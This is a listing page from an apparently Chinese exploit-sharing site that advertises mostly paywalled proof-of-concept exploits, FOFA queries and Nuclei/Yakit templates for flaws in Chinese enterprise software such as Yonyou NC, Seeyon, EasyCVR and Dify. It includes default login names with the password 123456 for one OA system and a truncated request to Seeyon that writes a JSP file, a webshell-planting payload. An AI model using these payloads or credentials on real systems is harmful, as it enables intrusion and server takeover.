秃兔安全_最新发布

【通用】用友NC loadDoc.ajax 任意文件读取

fofa语句 yakit插件 uuid poc yaml 已验证

dreamer2921年前

01299

【通用】dify upload SSRF

fofa语句pocyaml已验证

付费阅读500 POC # poc

dreamer2921年前

012912

【通用】圣乔ERP系统 DwrUtil SQL注入

fofa语句yakit插件 uuid pocyakit yamlnuclei yaml已验证

付费阅读500 Nuclei插件 POC Yakit插件 # poc # yakit # nuclei

dreamer2922年前

012914

华磊科技物流modifyInsurance存在sql注入漏洞

POC 2024你懂的

秃兔2年前

012910

【通用】圣乔ERP系统 uploadFile 任意文件上传

fofa语句yakit插件 uuidpocyakit yamlnuclei yaml已验证

付费阅读500 Nuclei插件 POC Yakit插件 # poc # yakit # nuclei

dreamer2922年前

012813

【通用】信呼OA后台 uploadAction SQL注入

fofa语句poc注意：后台漏洞需要登录提示常见diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用户名，密码为123456

付费阅读50 POC # poc

dreamer2922年前

012815

金和OA_SAP_B1Config.aspx未授权访问漏洞

POC 2024你懂的

秃兔2年前

012812

【通用】 EasyCVR taillog 任意文件读取漏洞

fofa语句yakit插件 uuidpocyakit yamlnuclei yaml已验证

付费阅读500 Nuclei插件 POC Yakit插件 # poc # yakit # nuclei

dreamer2922年前

01288

致远在野constDef接囗存在代码执行漏洞

GET /seeyon/constDefdo?method=newConstDef&constKey=asdasd&constDefine=$demo%20%22;new%20File(%22./webapps/ROOT/1111.jsp%22).write(new%20String(Base64.getDecoder0.decode%22P...

POC 2024你懂的

秃兔2年前

012813

【通用】 EasyCVR 视频管理平台adduser存在任意用户添加漏洞

fofa语句yakit插件 uuidpocyakit && nuclei yaml已验证

付费阅读500 Nuclei插件 POC poc_yaml # poc # yakit # nuclei

dreamer2922年前

01286

上一页 1…37 383940 41…71 下一页跳转

攻防演练 & 红蓝对抗 & 其他文库